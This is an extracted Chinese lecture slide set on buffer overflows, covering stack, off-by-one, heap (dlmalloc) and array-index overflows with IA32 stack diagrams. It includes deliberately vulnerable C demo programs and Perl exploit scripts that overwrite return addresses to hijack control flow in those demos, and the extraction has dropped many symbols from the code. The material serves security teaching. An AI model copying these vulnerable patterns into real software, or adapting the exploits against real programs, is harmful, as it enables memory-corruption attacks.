




版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡介
1、第二章 緩沖區(qū)溢出 出現(xiàn)緩沖區(qū)溢出的主要原因是不良的編程習(xí)慣。其他原因包括C語言和C+語言為程序設(shè)計(jì)人員提供了許多不安全的編程方法,缺乏安全可靠、簡便易行的字符串處理函數(shù),對錯(cuò)誤的實(shí)際后果的忽略。 堆棧溢出(也稱靜態(tài)緩沖區(qū)溢出)(*)如果向一個(gè)在棧的緩沖區(qū)復(fù)制數(shù)據(jù),但是復(fù)制的數(shù)據(jù)量又比緩沖區(qū)大的時(shí)候,就會發(fā)生靜態(tài)緩沖區(qū)溢出。在棧上聲明的各種變量的位置就緊靠著函數(shù)調(diào)用程序的返回地址。通常出現(xiàn)的錯(cuò)誤是用戶輸入的數(shù)據(jù)未經(jīng)驗(yàn)證,就傳遞給strcpy這樣的函數(shù),產(chǎn)生的后果就是調(diào)用函數(shù)的返回地址將被攻擊者選擇的某個(gè)地址覆蓋。在一個(gè)常規(guī)的攻擊下,攻擊者可以通過一個(gè)緩沖區(qū)溢出的應(yīng)用程序來執(zhí)行對他們有用的操作,
2、比如在他們選擇的端口上綁定一個(gè)命令解釋程序。第二章 緩沖區(qū)溢出堆棧溢出lIA32架構(gòu)的堆棧。棧中除其他內(nèi)容外,還存儲了參數(shù)、緩沖區(qū)和函數(shù)的返回地址。在IA32的系統(tǒng)中,棧是向下增長的,變量按LIFO的方式壓入棧里,最后壓入站的數(shù)據(jù)最先彈出。Frame Pointer(EBP)Instruction Pointer(EIP)本地變量、緩沖區(qū)、其他寄存器等第二章 緩沖區(qū)溢出堆棧溢出l下圖顯示的是壓入兩個(gè)緩沖區(qū)后的棧。首先,緩沖區(qū)buf1進(jìn)棧,然后,緩沖區(qū)buf2進(jìn)棧。在向buf2緩沖區(qū)中寫入的數(shù)據(jù)量超過了程序預(yù)期的大小,buf1會被buf2的數(shù)據(jù)覆蓋。甚至棧的其他部分,包括指令指針(EIP)的值也
3、會被覆蓋。EIP寄存器保存了函數(shù)的返回地址。所以惡意的用戶可以通過調(diào)用這個(gè)函數(shù)選擇任意一個(gè)想要的返回地址。Buf2512Buf1512Frame Pointer(EBP)Instruction Pointer(EIP)本地變量、緩沖區(qū)、其他寄存器等第二章 緩沖區(qū)溢出堆棧溢出l代碼1/*StackOverrun.cThis program shows an example of how a stack-based buffer overrun can be used to execute an arbitrary code. Its objective is to find an input s
4、tring that executes the function bar.*/#include #include void foo(const char* input)char buf10;printf(“My stack looks like:n%pn%pn%pn%pn%pn%pnn”);strcpy(buf,input);printf(“%sn”,buf);printf(“Now the stack looks like :n%pn%pn%pn%pn%pn%pnn”);第二章 緩沖區(qū)溢出堆棧溢出l代碼1(續(xù))void bar(void)printf(“Augh! Ive been hack
5、ed!n”);int main(int argc, char* argv)printf(“Address of foo=%pn”,foo);printf(“Address of bar=%pn”,bar);if(argc!=2)printf(“Please supply a string as an argument!n”);return -1;foo(argv1);return 0;第二章 緩沖區(qū)溢出堆棧溢出l運(yùn)行C:Secureco2Chapter03Stackoverrun.exe HelloAddress of foo=00401000Address of bar=00401045My
6、 stack looks like:00000000000000007FFDF0000012FF800040108AWe want to overwrite the return address for foo.00410EDEHelloNow the stack looks like:6C6C6568You can see where “Hello” was copied in.0000006F7FFDF0000012FF800040108A00410EDE第二章 緩沖區(qū)溢出堆棧溢出運(yùn)行前后堆棧變化情況00000000000000007FFDF0000012FF800040108A00410
7、EDEfoo的bufEBP,main的棧底指針EIP,foo的返回地址0012FF80 ,main的棧底6C6C65680000006F7FFDF0000012FF800040108A00410EDE無緩沖區(qū)溢出第二章 緩沖區(qū)溢出堆棧溢出l運(yùn)行C:Secureco2Chapter03Stackoverrun.exe AAAAAAAAAAAAAAAAAAAAAAAAAddress of foo=00401000Address of bar=00401045My stack looks like:00000000000000007FFDF0000012FF800040108A00410ECEAAA
8、AAAAAAAAAAAAAAAAAAAAANow the stack looks like:414141414141414141414141414141414141414141414141運(yùn)行得到應(yīng)用程序的錯(cuò)誤信息,表明了地址位于0 x41414141的指令試圖訪問位于0 x41414141的內(nèi)存。第二章 緩沖區(qū)溢出堆棧溢出運(yùn)行前后堆棧變化情況00000000000000007FFDF0000012FF800040108A00410EDEfoo的bufEBP,main的棧底指針EIP,foo的返回地址0012FF80 ,main的棧底414141414141414141414141414141
9、414141414141414141緩沖區(qū)溢出,運(yùn)行得到應(yīng)用程序的錯(cuò)誤信息,表明了試圖訪問地址位于0 x41414141的指令第二章 緩沖區(qū)溢出堆棧溢出l運(yùn)行C:Secureco2Chapter03Stackoverrun.exe ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890Address of foo=00401000Address of bar=00401045My stack looks like:00000000000000007FFDF0000012FF800040108A00410EBEABCDEFGHIJKLMNOPQRSTUVWXYZ12345678
10、90Now the stack looks like:44434241484746454C4B4A49504F4E4D5453525158575655應(yīng)用程序的出錯(cuò)信息顯示出我們試圖在0 x54535251處運(yùn)行計(jì)算機(jī)指令。查看ASCII字符表,0 x54是字符T的編碼,那就是需要我們修改的地方。第二章 緩沖區(qū)溢出堆棧溢出運(yùn)行前后堆棧變化情況00000000000000007FFDF0000012FF800040108A00410EDEfoo的bufEBP,main的棧底指針EIP,foo的返回地址0012FF80 ,main的棧底44434241484746454C4B4A49504F4E4
11、D5453525158575655緩沖區(qū)溢出,運(yùn)行得到應(yīng)用程序的錯(cuò)誤信息,表明了試圖訪問地址位于0 x54535251的指令,如此,可得到foo的返回地址的存放位置。第二章 緩沖區(qū)溢出堆棧溢出l運(yùn)行C:Secureco2Chapter03Stackoverrun.exe ABCDEFGHIJKLMNOPQRSAddress of foo=00401000Address of bar=00401045My stack looks like:00000000000000007FFDF0000012FF800040108A00410ECEABCDEFGHIJKLMNOPQRSNow the stac
12、k looks like:44434241484746454C4B4A49504F4E4D0053525100410ECE通過改變用戶的輸入內(nèi)容,我們可以控制在哪個(gè)地址運(yùn)行下一條指令。下面我們用用戶的輸入來控制程序的流程!如果能夠做到不輸入QRS,取而代之輸入0 x45、0 x10、0 x40,那么也就可以讓bar函數(shù)運(yùn)行。第二章 緩沖區(qū)溢出堆棧溢出編寫如下名叫HackOverrun.pl的perl腳本$arg=“ABCDEFGHIJKLMNOP”.”x45x10 x40 x00”;$cmd=“StackOverrun “.$arg;system($cmd);運(yùn)行上述腳本C:Secureco2
13、Chapter03perl HackOverrun.plAddress of foo=00401000Address of bar=00401045My stack looks like:77FB80DB77F94E687FFDF0000012FF800040108A00410ECAABCDEFGHIJKLMNOPE?Now the stack looks like:44434241484746454C4B4A49504F4E4D0040104500410ECAAugh! Ive been hacked!第二章 緩沖區(qū)溢出堆棧溢出運(yùn)行前后堆棧變化情況00000000000000007FFDF0
14、000012FF800040108A00410EDEfoo的bufEBP,main的棧底指針EIP,foo的返回地址0012FF80 ,main的棧底44434241484746454C4B4A49504F4E4D0040104500410EDE緩沖區(qū)溢出,將foo的返回地址改為00401045。第二章 緩沖區(qū)溢出堆棧溢出lOff_by_One溢出代碼2/*OffByOne*/#include #include Void foo(const char* in)char buf32;strncpy(buf,in,sizeof(buf);bufsizeof(buf)=0;printf(“%sn”,
15、buf);Void bar(const char* in)printf(“Augh! Ive been hacked!n”);int main(int argc, char* argv)if(argc!=2)printf(“Usage is %s stringn”,argv0);return -1;printf(“Address of foo is %p, address of bar is %pn”,foo,bar);foo(argv1);return 0;第二章 緩沖區(qū)溢出堆棧溢出編寫如下名叫HackOverrun.pl的perl腳本$arg=“AAAAAAAAAAAAAAAAAAAAAA
16、AAAAAA”.”x40 x10 x40 x00”;$cmd=“OffByOne “.$arg;system($cmd);運(yùn)行上述腳本C:Secureco2Chapter03perl OffByOne.plAddress of foo=00401000, address of bar=00401040AAAAAAAAAAAAAAAAAAAAAAAAAAAA?Augh! Ive been hacked!修改了調(diào)用函數(shù)的棧結(jié)構(gòu)。利用Off_by_One溢出需要滿足兩個(gè)條件:首先,緩沖區(qū)的字節(jié)數(shù)要能被4整除。其次,需要對EBP現(xiàn)在指向的區(qū)域有所控制。第二章 緩沖區(qū)溢出堆棧溢出運(yùn)行前后堆棧變化情況00
17、000000000000000012FF800040108A00410EDEfoo的bufEBP,main的棧底指針EIP,foo的返回地址0012FF80 ,main的棧底41414141004010400012FF000040104500410EDE緩沖區(qū)溢出,將main的棧底指針改為0012FF00,main返回后執(zhí)行00401040處指令。0012FF00 第二章 緩沖區(qū)溢出堆溢出l堆是由程序使用且在運(yùn)行時(shí)動(dòng)態(tài)分配的內(nèi)存區(qū)域。在堆內(nèi)存空間上發(fā)生的緩沖區(qū)溢出的情況很普遍,對這類bug的利用與基于棧的緩沖區(qū)溢出不同。應(yīng)用程序根據(jù)需要?jiǎng)討B(tài)分配內(nèi)存。內(nèi)存分配通過調(diào)用函數(shù)malloc()來完成。
18、Malloc()函數(shù)調(diào)用需要一個(gè)參數(shù)指定分配的字節(jié)數(shù),并且返回一個(gè)指針指向所分配的內(nèi)存。textdataheapbssstack第二章 緩沖區(qū)溢出堆溢出lDoug Lea Malloc。 Doug Lea Malloc(dlmalloc)一般用在Linux操作系統(tǒng)上,它的設(shè)計(jì)使得堆溢出時(shí)可以被輕易地利用。在這個(gè)實(shí)現(xiàn)中,所有的堆內(nèi)存都被組織成為“塊”(chunk),這些塊包含了dlmalloc有效分配和釋放內(nèi)存所需要的信息。Prev_size元素用于保存當(dāng)前塊的上一個(gè)塊的大小,但是僅當(dāng)上一個(gè)塊尚未分配是起作用。如果上一個(gè)塊已經(jīng)被分配了,則prev_size不再表示大小,而是被當(dāng)成數(shù)據(jù)元素,以節(jié)約
19、4個(gè)字節(jié)。Size元素用于保存當(dāng)前所分配的塊的大小。不過,當(dāng)調(diào)用malloc()時(shí),會把長度參數(shù)加上4,然后再對齊到下一個(gè)雙字邊界。Size域的最低一位對于exploit最為重要,這個(gè)位用作PREV_INUSE標(biāo)志,它指示前一個(gè)塊是否已經(jīng)分配。Data元素就是malloc()返回的指針指向的所分配的內(nèi)存空間。這塊內(nèi)存空間用來復(fù)制數(shù)據(jù)并由程序所使用。這部分內(nèi)存可以由程序員使用內(nèi)存管理函數(shù)進(jìn)行直接操作,如memcpy函數(shù)和memset函數(shù)。prev_sizesizedata第二章 緩沖區(qū)溢出堆溢出l當(dāng)使用free()將data釋放以后,內(nèi)存塊將會重新調(diào)整。Dlmalloc的實(shí)現(xiàn)會首先檢查臨近的塊是
20、否已經(jīng)釋放,如果已釋放,則將鄰近的塊與當(dāng)前塊合并成為一個(gè)更大的空閑塊。Free()函數(shù)釋放一塊內(nèi)存以后,內(nèi)存塊的結(jié)構(gòu)發(fā)生變化。先前使用的內(nèi)存的前8個(gè)字節(jié)將會被兩個(gè)指針替代,分別是fd和bk。這兩個(gè)指針分別代表forward和backward,用來指向一個(gè)由尚未分配的塊所構(gòu)成的雙向鏈表。Dlmalloc實(shí)現(xiàn)中的固有問題在于內(nèi)存塊的管理信息與數(shù)據(jù)存放在一起。如果一個(gè)已分配的內(nèi)存塊溢出并覆蓋了下一個(gè)塊及其管理信息,系統(tǒng)就會被惡意破壞。Prev_sizesizefdbkUnused memory第二章 緩沖區(qū)溢出堆溢出代碼/*HeapOverrun.cpp*/#include #include #in
21、clude class BadStringBufpublic :BadStringBuf(void)m_buf=NULL;BadStringBuf(void)if(m_buf!=NULL) free(m_buf);void Init(char* buf)m_buf=buf;void SetString(const char* input)strcpy(m_buf,input);const char* GetString(void)return m_buf;private:char* m_buf;第二章 緩沖區(qū)溢出堆溢出代碼BadStringBuf* g_pInput=NULL;void bar
22、(void)printf(“Augh! Ive been hacked!);void BadFunc(const char* input1, const char* input2)char* buf=NULL;char* buf2;buf2=(char *)malloc(16);g_pInput=new BadStringBuf;buf=(char*)malloc(16);g_pInput-Init(buf2);strcpy(buf,input1);g_pInput-SetString(input2);printf(“input 1=%sn input 2=%sn”,buf,g_pInput-
23、GetString();if(buf!=NULL) free(buf);第二章 緩沖區(qū)溢出堆溢出代碼int main(int argc, char* argv)char arg1128;char arg24=0 x0f,0 x10,0 x40,0;int offset=0 x40;memset(arg1,0 xfd,offset);arg1offset=(char)0 x94;arg1offset+1=(char)0 xfe;arg1offset+2=(char)0 x12;arg1offset+3=0;arg1offset+4=0;printf(“Address of bar is %pn”
24、,bar);BadFunc(arg1,arg2);if(g_pInput!=NULL)delete g_pInput;return 0;第二章 緩沖區(qū)溢出堆溢出Buf2EBPEIPbuf2bufm_buf0012FE94main的棧底指針BadFunc返回地址BadFunc執(zhí)行g(shù)_pInput-Init(buf2)后棧和堆的情況,將m_buf指向buf2Offset=0 x40第二章 緩沖區(qū)溢出堆溢出FDFDFDFD0012FE94EBPEIPbuf2bufm_buf0012FE94BadFunc執(zhí)行strcpy(buf,input1)后棧和堆的情況,第二章 緩沖區(qū)溢出堆溢出FDFDFDFD0
25、012FE94EBP0040100F(EIP)buf2bufm_buf0012FE94BadFunc執(zhí)行g(shù)_pInput-SetString(input2)后棧和堆的情況第二章 緩沖區(qū)溢出數(shù)組下標(biāo)錯(cuò)誤數(shù)組索引錯(cuò)誤比起緩沖區(qū)溢出來說,出現(xiàn)的比較少一些,但是它總的來說是一回事,一個(gè)字符串也正好是一個(gè)字符數(shù)組,顯而易見其他類型的數(shù)組也可以寫入任意的內(nèi)存位置。/*ArrayIndexError.cpp*/#include #include Int* IntVector;Void bar(void)printf(“Augh! Ive been hacked!”);Void InsertInt(unsigned long index, unsigned long value)printf(“Writing Memory at %pn”,&(IntVectorindex);IntVectorindex=value;Bool InitVector(
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 便宜門店轉(zhuǎn)讓合同范本
- 促銷返利合同范本
- 個(gè)體醫(yī)療機(jī)構(gòu)年度工作總結(jié)報(bào)告
- 個(gè)人工作自我鑒定簡短
- 勞務(wù)公司派遣員工合同范本
- 單位對外投資合同范本
- 三八節(jié)教師演講稿
- 工業(yè)鍋爐司爐模考試題及答案
- 高壓電工(運(yùn)行)習(xí)題+參考答案
- 供貨款合同范本
- 農(nóng)業(yè)機(jī)械設(shè)備維護(hù)與質(zhì)量保障措施
- 基于圖像處理的CAD圖紙比對算法
- 2025年大模型應(yīng)用落地白皮書:企業(yè)AI轉(zhuǎn)型行動(dòng)指南
- 2025年中國文玩電商行業(yè)發(fā)展現(xiàn)狀調(diào)查、競爭格局分析及未來前景預(yù)測報(bào)告
- 2025年臨床醫(yī)師定期考核必考復(fù)習(xí)題庫及答案(900題)
- JTG5120-2021公路橋涵養(yǎng)護(hù)規(guī)范
- 巨量千川(中級)營銷師認(rèn)證考試題(附答案)
- 寒假日常生活勞動(dòng)清單及評價(jià)表
- 幼兒心理健康教育注意缺陷與多動(dòng)障礙
- 竣工結(jié)算審核重難點(diǎn)分析及建議
- 【MOOC】營養(yǎng)學(xué)-武漢大學(xué) 中國大學(xué)慕課MOOC答案
評論
0/150
提交評論